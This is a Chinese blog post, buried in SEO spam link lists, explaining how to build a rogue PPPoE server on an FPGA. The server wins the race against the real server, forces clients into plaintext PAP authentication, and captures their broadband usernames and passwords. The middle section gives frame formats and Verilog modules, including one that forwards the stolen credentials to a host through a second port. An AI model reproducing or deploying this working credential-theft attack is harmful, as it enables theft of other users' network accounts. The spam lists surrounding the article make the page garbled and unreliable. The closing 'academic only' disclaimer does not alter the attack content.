"); //-->
joyroom是什么牌子| 股骨长径是指胎儿什么| 洛阳有什么山| 吃什么水果补肝养肝最有效| 主观意识是什么意思| 兔女郎是什么| 高铁座位为什么没有e| 石敢当是什么神| 日逼是什么意思| mmc是什么意思| 钾低吃什么药| 痛风什么感觉| 厉兵秣马什么意思| 现在什么时辰| 双鱼座最配什么星座| 潭柘寺求什么最灵验| 了是什么词性| 头顶冒汗是什么原因| cbp是什么意思| 老人吃饭老是噎着是什么原因| 耳前瘘管有什么危害| 摇曳是什么意思| 体制外是什么意思| 大便拉水是什么原因| 皮肤软组织感染用什么消炎药| 什么叫高尿酸血症| 什么是小苏打| 奥氮平片治疗什么病| 女的什么时候退休| 一什么不什么| 2000年属龙的是什么命| 为什么会经常流鼻血| siemens是什么品牌| 70年属狗的是什么命| 拔牙后不能吃什么食物| 亢奋是什么意思| 气短是什么感觉| 苍蝇为什么喜欢往人身上飞| 右下眼皮跳是什么预兆| 热射病什么症状| k是什么| 去韩国需要办理什么手续| 喝什么茶| 子字属于五行属什么| 四大才子中状元是什么生肖| 月季黑斑病用什么药| 蛇为什么会咬人| 宽宽的什么| 孤军奋战是什么意思| 痤疮涂什么药膏| 幽门杆菌的症状是什么| 蚊子为什么吸血| 睡几个小时就醒了是什么原因| 风湿免疫科是看什么病的| 心跳突然加快是什么原因| 中成药是什么药| 什么是职业道德| 后背容易出汗是什么原因| 八月出生的是什么星座| 月经提前是什么原因| 1月27日是什么星座| 9月份是什么星座的| 白细胞低是什么原因| 头孢长什么样图片| 晚上睡觉阴部外面为什么会痒| 红枣有什么功效| 性张力是什么意思| 手麻木是什么引起的| 单位工会主席是什么级别| 什么东西解酒最好最快| 菠萝蜜吃多了有什么坏处| 上山下水什么字| 一年半载是什么意思| 什么的香味| 碳酸钠俗称什么| 鹦鹉鱼吃什么| 总胆固醇偏高吃什么药| g是什么牌子| 斑斓是什么意思| 孟姜女属什么生肖| 儿童咳嗽吃什么消炎药| 肚子隐隐作痛什么原因| 天外有天人外有人是什么意思| 手脚软无力是什么原因引起的| 什么像什么又像什么| 妇科炎症是什么原因引起的| 妙手回春是什么意思| 人死之前为什么会拉屎| 今日冲什么生肖| 4月25日什么星座| 徽音是什么意思| 心律平又叫什么名字| 花生什么时候种| 燕窝什么味道| 血痣是什么原因引起的| 九一八事变是什么意思| 临床医生是什么意思| 说什么| 蜱虫用什么药可以消灭| 过境签是什么意思| 王母娘娘属什么生肖| 花椒和麻椒有什么区别| 老鸭汤炖什么好吃| 7月29是什么星座| 过生日送什么礼物好| 网调是什么意思| 血糖高吃什么肉最好| 霜降是什么意思| 胆囊炎有什么症状表现| 什么地奔跑| 淋巴肿了吃什么消炎药| 车前草能治什么病| 拔了尿管尿不出来有什么好办法| 二次元文化是什么意思| 7月18号是什么日子| 什么是粘胶纤维| 一什么笑声| 美国为什么打朝鲜| 右侧胸口疼是什么原因| 口腔上火吃什么药| 血糖高的病人吃什么| 8.9是什么星座| 马齿苋什么人不能吃| 酸菜鱼用什么鱼做好吃| skg是什么品牌| 查肾功能挂什么科| 去医院看肛门挂什么科| 高筋面粉适合做什么| 男人吃什么补肾壮阳效果最好| 油皮适合用什么护肤品| udv女鞋是什么牌子| 弊端是什么意思| 什么叫潮汐车道| 蜜蜂是什么牌子| 泌尿外科主要看什么病| 血红蛋白是什么| 耳鸣和脑鸣有什么区别| 四战之地的生肖是什么| 今天股市为什么暴跌| 30岁以上适合用什么牌子的护肤品| 净身出户什么意思| 营养不良吃什么药| 什么是原则性问题| 天丝是什么面料| 路的尽头是什么| 过敏性咳嗽用什么药| 菠萝蜜不能和什么一起吃| 千锤百炼什么意思| 睡觉后腰疼是什么原因引起的| 保妇康栓治疗什么妇科病| 脾肺两虚吃什么中成药| 什么如什么| 4月21日什么星座| 谩骂是什么意思| 平板撑有什么作用| 1975年属兔的是什么命| 肥达氏反应检查什么病| 小猫泪痕重什么原因| 咳嗽一直不好是什么原因怎么治| 耳朵后面长痘痘是什么原因| 乙肝病毒表面抗体弱阳性什么意思| 春的五行属性是什么| 卷宗是什么意思| 2014属什么生肖| 茧子是什么意思| 牛奶和什么不能一起吃| mchc偏低是什么意思| 严重贫血的人吃什么补血最快| 梦见前男友结婚了是什么征兆| haze是什么意思| mixblu是什么牌子| 经期喝什么汤| 灰指甲挂什么科| hgh是什么意思| 荷叶茶有什么功效和作用| 电饭煲内胆什么材质好| 地球上什么东西每天要走的距离最远| 什么疾什么快| 指甲油用什么能洗掉| 彩金是什么金| 手发抖吃什么药| 大健康是什么意思| 实拍是什么意思| 碱性磷酸酶高是什么原因| 梦见刀是什么意思| 葡萄是什么茎| 前列腺液是什么颜色| 送女生什么礼物好| 什么人不能摆放大象| 焦点是什么| 总胆固醇偏低是什么意思| 金不换是什么菜| 狮子座女和什么星座最配| 眼痒痒是什么原因引起| 百什么争什么| 98属什么| 梦见把狗打死了是什么意思| 水分是什么意思| 女娲和伏羲是什么关系| 霍家为什么娶郭晶晶| 后腰左侧疼痛是什么原因男性| 91是什么东西| 肠胃炎不能吃什么| teeth是什么意思| 11月18是什么星座| 高烧拉肚子是什么原因| 黄金的动物是什么生肖| 银行卡开户名是什么| 口角是什么意思| 十一月十一号是什么星座| 牛河是什么| 高什么远瞩| 腌牛肉放什么调料| 轻医美是什么| 暴龙眼镜什么档次| 人参果吃了有什么好处| 小巧思什么意思| 女生为什么喊你男神| 啃手指甲是什么毛病| 恭候是什么意思| 刮痧和拔罐有什么区别| 胸闷是什么症状| 肚脐眼是什么穴位| 加湿器用什么水比较好| 紫苏叶有什么功效| 病种是什么意思| 太后是皇上的什么人| 城是什么生肖| 水命中什么水命最好| 什么贤什么能| 蘑菇炒什么好吃| 两肺纹理增粗是什么意思| 脸上发麻是什么原因| 膝盖疼挂什么科室| 哆啦a梦的寓意是什么| 世界上最高的高原是什么| 可什么意思| 吃大米配什么菜| 沙特是什么教派| 卢森堡为什么那么有钱| 怀孕为什么会流褐色分泌物| 肚脐眼周围痛什么原因| 皮下出血小红点是什么原因造成的| 为什么半夜流鼻血| 肠癌吃什么好| 萝卜丁口红什么牌子| 血肌酐高是什么原因| 封神榜讲的是什么故事| 拿的起放的下是什么意思| 84年什么命| 治疗幽门螺旋杆菌用什么药| 多囊挂什么科| 木丑念什么| 男生什么时候会有生理反应| 黑枸杞泡水喝有什么作用和功效| 育婴员是做什么的| 梦到老鼠是什么意思| 海绵体充血不足吃什么药| 陌上是什么意思| 凉虾是什么做的| 吃冰糖有什么好处和坏处| 欲生欲死是什么意思| 脑梗塞吃什么药| 118是什么星座| 百度在与本头条同名的微信公众号之前的一篇文章《 西电免流量限制上网攻略!Python实现PPPOE攻击工具,秒杀拨号上网》结尾布置了思考题,如何采用FPGA实现PPPoE的第一种攻击,也就是获取对方账号密码的攻击。本文针对FPGA实现的第一种攻击进行详细的介绍。FPGA实现方式具有非常好的硬件加速性能,窃取账号密码的成功率也会更高。因为,较之前Python实现方式而言,在收到网络上某台计算机发送的PADI广播包后,FPGA实现的伪装的服务器具有相当大的概率会抢在真正的服务器之前向该计算机发送欺骗帧(让对方将自己的账号密码以明文的形式反馈回来)。本文的目的一方面提醒网络安全的重要性,另一方面让大家认识到硬件加速力的重要性。试想,如果采用FPGA发起上文中提到的第三种DDOS攻击,估计瞬间就会造成整个网络的瘫痪。提升网络安全意识,从一点一滴做起。
一开始,我们先回顾一下之前使用Python实现的软件攻击的过程。
Python实现的软件攻击回顾
对于PPPOE认证上网的过程如下图所示,分为发现阶段和会话阶段,发现阶段分为PADI,PADO,PADR,PADS。
其中窃取账号密码的问题就出现在第一步PADI。PPPOE客户端进行连接时,在PADI阶段会发送一个广播包,寻找局域网中的PPPOE服务器,从而完成认证。
这时候我们需要做的是伪装成PPPOE服务器,回复请求信息,抢先和客户端通信,并强制客户端使用明文传输方式,从而获取账号和密码。下面我们通过wireshark抓一下数据包,更加直观的观察一下寻找PPPOE服务器的过程。点击宽带连接,使用Wireshark监听,会发现广播包,这时候pppoe服务器会进行回复。
攻击场景:在本机电脑上开启PPPOE欺骗程序,开始进行监听,并在局域网中的其他电脑上进行宽带连接,观察欺骗效果。如下图所示,已经成功欺骗出了账号和密码。
窃取账号的部分代码内容如下:
FPGA实现攻击必须完成的任务
PPPOE的认证过程分两个阶段
发现阶段:客户机寻找并确定可用的服务器,得到会话ID
会话阶段:在发现阶段所确定的参数基础上,依次完成链路控制协商、认证和NCP协商
由于会话阶段的认证步骤中进行用户密码传输,故FPGA伪装至少完成:
1.发现阶段
2.会话阶段的链路控制协商
发现阶段帧结构
发现阶段伪装要做到两点,一是识别并记录客户机的PADI、PADR帧信息;二是发送对应的PADO、PADS帧
发现阶段:PADI帧的识别与PADO帧的发送
PADI帧识别特征
?帧类型域:0x8863(发现阶段)
?PPPOE帧代码域:0x09(PADI帧)
PADO帧发送
?目的MAC地址:客户机地址(PADI帧中源MAC地址)
?帧类型域:0x8863(发现阶段)
?PPPOE帧代码域:0x07(PADO帧)
?静载荷域:在收到的PADI帧的净载荷后加上AC-NAME
发现阶段:PADR帧的识别与PADS帧的发送
PADR帧识别特征
?帧类型域:0x8863(发现阶段)
?PPPOE帧代码域:0x19(PADR帧)
PADS帧发送
?目的MAC地址:客户机地址(PADR帧中源MAC地址)
?帧类型域:0x8863(发现阶段)
?PPPOE帧代码域:0x65(PADS帧)
?会话ID:可统一设为不为0的固定值
?净载荷域:与收到PADR帧的净载荷相同
会话阶段帧结构
会话阶段要做到:
1.发送认证协议参数为0xc023(PAP协议)的Config-Request报文
2.识别客户机发送的Config-Request报文并回应Config-Ack报文
会话阶段:Request帧的发送
LCP Configuration Request帧
?目的MAC地址:客户机地址(PADR帧中源MAC地址)
?帧类型域:0x8864(会话阶段)
?PPPOE帧代码域:0x00(会话数据)
?会话ID:可统一设为不为0的固定值
?点对点协议:0xc021(LCP协议)
?PPP LCP帧代码域:0x01(Request帧)
?认证协议:0xc023(PAP协议)
会话阶段:Ack帧的发送
LCP Configuration Ack帧
?目的MAC地址:客户机地址(Request帧中源MAC地址)
?帧类型域:0x8864(会话阶段)
?PPPOE帧代码域:0x00(会话数据)
?会话ID:可统一设为不为0的固定值
?点对点协议:0xc021(LCP协议)
?PPP LCP帧代码域:0x02(Ack帧)
?其余数据均与接收的Request帧保持一致即可
FPGA实现
1、u_pppoeattack_v1模块
?解析识别0口接收到的PPPOED、PPP帧
?记录特定帧的帧信息(源MAC地址、控制信息用寄存器保存,载荷用FIFO保存)
?根据接收的帧类型确定回复帧类型
?根据记录的信息和回复帧类型向0口发送对应帧
(1)解析识别0口接收到的PPPOED、PPP帧
首先获取接收帧不同结构位置下的数据
//获取接收帧的帧类型、PPPOE类型、PPPOE会话ID always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin frame_type <= 16'b0; pppoed_code <= 8'b0 ; lcp_code <= 8'd0 ; pppoed_session_id <= 16'b0; end else if(read_frame_step == 9'd3) begin frame_type <= ff_rx_data[31:16]; pppoed_code<= ff_rx_data[7:0]; end else if(read_frame_step == 9'd4) begin pppoed_session_id <= ff_rx_data[31:16]; end else if(read_frame_step == 9'd5) begin lcp_code <= ff_rx_data[15:8]; end else begin frame_type <= 16'b0; pppoed_code <= 8'b0 ; pppoed_session_id <= 16'b0; lcp_code <= 8'd0 ; end end
(2)解析识别0口接收到的PPPOED、PPP帧
其次要根据获取数据判断接收帧类型,并在回复帧之前确定好回复帧类型
//确定该发送何种PPPOE帧 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin send_frame_step_flag <= 4'd0; end else if(ff_tx_eop == 1'b1 && (send_frame_step_flag == PADS || send_frame_step_flag == PPP_LCP_ACK)) begin send_frame_step_flag <= PPP_LCP_REQUEST; end else if(ff_tx_eop == 1'b1) begin send_frame_step_flag <= 4'd0; end else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h09 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PADO; end else if(frame_type == PPP_DISCOVERY && pppoed_code == 8'h19 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PADS; end else if(frame_type == PPP_SESSION && lcp_code == 8'h01 && send_frame_step_flag == 4'd0) begin send_frame_step_flag <= PPP_LCP_ACK; end end
(3)解析识别0口接收到的PPPOED、PPP帧
记录特定帧的帧信息
载荷用FIFO保存
payload_fifo u_payload_fifo ( .clk(clk), // input wire clk .rst(~reset_n), // input wire srst .din(ff_rx_data), // input wire [31 : 0] din .wr_en(payload_data_wren), // input wire wr_en .rd_en(payload_data_rden), // input wire rd_en .dout(fifo_payload_dout), // output wire [31 : 0] dout .full(payload_fifo_full), // output wire full .empty(payload_fifo_empty) // output wire empty );
源MAC地址等信息用寄存器保存
//获取接收帧的目的MAC地址和源MAC地址 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin des_addr <= 48'b0; sou_addr <= 48'b0; end else if(read_frame_step == 9'd0 && ff_rx_sop == 1'b1 && ff_rx_dval == 1'b1) begin des_addr[47:16] <= ff_rx_data; end else if(read_frame_step == 9'd1) begin des_addr[15:0] <= ff_rx_data[31:16]; sou_addr[47:32] <= ff_rx_data[15:0] ; end else if(read_frame_step == 9'd2) begin sou_addr[31:0] <= ff_rx_data; end end
(4)对应帧的发送:依次将地址数据、帧格式数据以及载荷写入到输出数据信号并发送
//帧发送数据赋值 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin ff_tx_data <= 32'b0; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd0) begin ff_tx_data <= sou_addr[47:16]; //发送目的MAC地址(接收帧源地址) end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd1) begin ff_tx_data <= {sou_addr[15:0],MAC_ADDR[47:32]}; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd2) begin ff_tx_data <= MAC_ADDR[31:0]; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd3) begin ff_tx_data <= {send_frame_type,8'h11,send_pppoed_code}; end //发送帧类型数据 else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd4) begin//发送会话ID及载荷长度 ff_tx_data <= {send_session_id,send_frame_payload_length}; end else if(send_frame_step_flag != 4'd0 && send_frame_step == 9'd5 && send_ppp_type != 16'h0) begin//发送PPP和LCP帧类型以及分类码 ff_tx_data <= {send_ppp_type,send_lcp_code,send_lcp_identifier}; end else if(send_frame_step_flag != 4'd0 && send_payload_flag == 1'b1) begin ff_tx_data <= fifo_payload_dout; //发送特定帧所需的之前记录的接收帧载荷 end else if(send_frame_step_flag == PADO && send_frame_step > 9‘d4) //发送PADO帧载荷 begin if(send_cnt == 3'd4) ff_tx_data <= {AC_NAME[7:0],24'b0}; else if(send_cnt == 3'd3) ff_tx_data <= AC_NAME[39:8]; else if(send_cnt == 3'd2) ff_tx_data <= AC_NAME[71:40]; else if(send_cnt == 3'd1) ff_tx_data <= AC_NAME[103:72]; else if(send_cnt == 3'd0) ff_tx_data <= AC_NAME_TAG; end else if(send_frame_step_flag == PPP_LCP_REQUEST && send_frame_step > 9‘d4) //发送LCP_Request帧载荷 begin if(send_cnt == 3'd4) ff_tx_data <= LCP_OPTIONS[31:0]; else if(send_cnt == 3'd3) ff_tx_data <= LCP_OPTIONS[63:32]; else if(send_cnt == 3'd2) ff_tx_data <= LCP_OPTIONS[95:64]; else if(send_cnt == 3'd1) ff_tx_data <= LCP_OPTIONS[127:96]; else if(send_cnt == 3'd0) ff_tx_data <= LCP_OPTIONS[159:128]; end else begin ff_tx_data <= 32'b0; end end
2、u_pppoeattack_authen_forward模块
?解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧
?记录1口以太网帧的帧信息(源MAC地址用寄存器保存)
?记录PPP_PAP帧的帧信息(载荷域的账号密码用FIFO保存)
?接收到PAP帧后向1口发送包含账号密码的自定义帧
(1)解析识别0口接收到的PPP_PAP帧、1口接收到的以太网帧与u_pppoeattack_v1模块操作相同
//获取1口接收以太网帧源MAC地址 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin sou_addr_1 <= 48'hffffffffffff; end else if(read_frame_step_1 == 9'd1) begin sou_addr_1[47:32] <= ff_rx_data_1[15:0] ; end else if(read_frame_step_1 == 9'd2) begin sou_addr_1[31:0] <= ff_rx_data_1; end end //拉高写使能信号,将PPP_PAP帧账号密码信息写入FIFO always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin payload_data_wren <= 1'b0; end else if(payload_data_write_cnt >= (payload_length_4bytes - 1)) begin payload_data_wren <= 1'b0; end else if(frame_type == 16'h8864 && pppoed_code == 8'h00 && ff_rx_data_0[31:16] == 16'hc023 && ff_rx_data_0[15:8] == 8'h01 && payload_fifo_full == 1'b0 && read_frame_step == 9'd5) begin payload_data_wren <= 1'b1; end end
//将接收到PPP_PAP帧的账号密码信息打包为一个自定义帧通过1口发往上位机 always @(posedge clk or negedge reset_n) begin if(reset_n == 1'b0) begin ff_tx_data_1 <= 32'b0; end else if(ff_tx_eop_1 == 1'b1) begin ff_tx_data_1 <= 32'b0; end else if(send_frame_step == 9‘d1) //目的MAC地址 begin ff_tx_data_1 <= sou_addr_1[47:16]; end else if(send_frame_step == 9'd2) begin ff_tx_data_1 <= {sou_addr_1[15:0],MAC_ADDR[47:32]}; end else if(send_frame_step == 9‘d3) //板子源MAC地址 begin ff_tx_data_1 <= MAC_ADDR[31:0]; end else if(send_frame_step == 9‘d4) begin//自定义帧类型0x8817,0x23与0x02为数据起始符 ff_tx_data_1 <= {16‘h8817,8’h23,8‘h02}; end else if(send_frame_step == 9'd5) begin //0x2020为两个空格,替换原无效数据,0x25为数据分隔符% ff_tx_data_1 <= {16'h2020,8'h25,fifo_payload_dout[7:0]}; end else if(send_frame_step == send_frame_length_4bytes && send_frame_step > 9‘d5) //0x24表示数据结束符 begin ff_tx_data_1 <= {8'h24,24'h0}; end else if(send_frame_step > 9‘d5 && account_cnt > account_length) //在账号与密码之间加入一个0x25数据分隔符% begin if(account_length == account_cnt - 8'd4) ff_tx_data_1 <= {8'h25,fifo_payload_dout[23:0]}; else if(account_length == account_cnt - 8'd3) ff_tx_data_1 <= {fifo_payload_dout[31:24],8'h25,fifo_payload_dout[15:0]}; else if(account_length == account_cnt - 8'd2) ff_tx_data_1 <= {fifo_payload_dout[31:16],8'h25,fifo_payload_dout[7:0]}; else if(account_length == account_cnt - 8'd1) ff_tx_data_1 <= {fifo_payload_dout[31:8],8'h25}; else ff_tx_data_1 <= fifo_payload_dout; end else if(send_frame_step > 9'd5) begin ff_tx_data_1 <= fifo_payload_dout; end end
效果
温馨提示:
文中内容纯粹为学术交流,若有同学自己练习引起的一切问题,本文概不负责。
全文完。
*博客内容为网友个人发布,仅代表博主个人观点,如有侵权请联系工作人员删除。
咽拭子是检查什么的 | 和尚化缘的碗叫什么 | 什么血型的人最多 | 老匹夫是什么意思 | 五合是什么意思 |
阿西吧什么意思 | 佛光普照什么意思 | 越睡越困是什么原因 | 蒲公英泡水喝有什么副作用 | khaki是什么颜色 |
怀孕会出现什么状况 | 秦始皇墓为什么不敢挖 | 犹太人有什么特征 | 碱性磷酸酶高是什么意思 | 脓毒血症是什么原因引起的 |
打酱油是什么意思 | 梦见亲人死了是什么意思 | bml什么意思 | 寒包火感冒吃什么药 | 女人为什么会叫 |
农历12月18日是什么星座hcv8jop7ns6r.cn | 八大菜系之首是什么菜hanqikai.com | 内透声差是什么意思1949doufunao.com | 血红蛋白偏低是什么意思hcv9jop7ns4r.cn | 正常白带是什么颜色hcv9jop1ns7r.cn |
铁锈是什么jingluanji.com | 蜜蜡是什么材料beikeqingting.com | 低血钾是什么原因引起的hcv7jop6ns8r.cn | 什么水果利尿hcv9jop5ns9r.cn | 心脏病是什么症状hcv9jop1ns2r.cn |
催供香是什么意思hcv9jop6ns9r.cn | 十一月九号是什么星座hcv7jop6ns1r.cn | 儿童去火吃什么药hcv9jop4ns4r.cn | 疹子长什么样hcv8jop3ns1r.cn | 乙肝小三阳是什么意思hcv7jop7ns0r.cn |
正在值机是什么意思hcv9jop7ns1r.cn | 过三关 是什么意思hcv9jop5ns1r.cn | 葛根粉有什么功效zhongyiyatai.com | 骨龄偏小意味着什么hcv8jop2ns8r.cn | 山楂泡水喝有什么功效hcv8jop5ns4r.cn |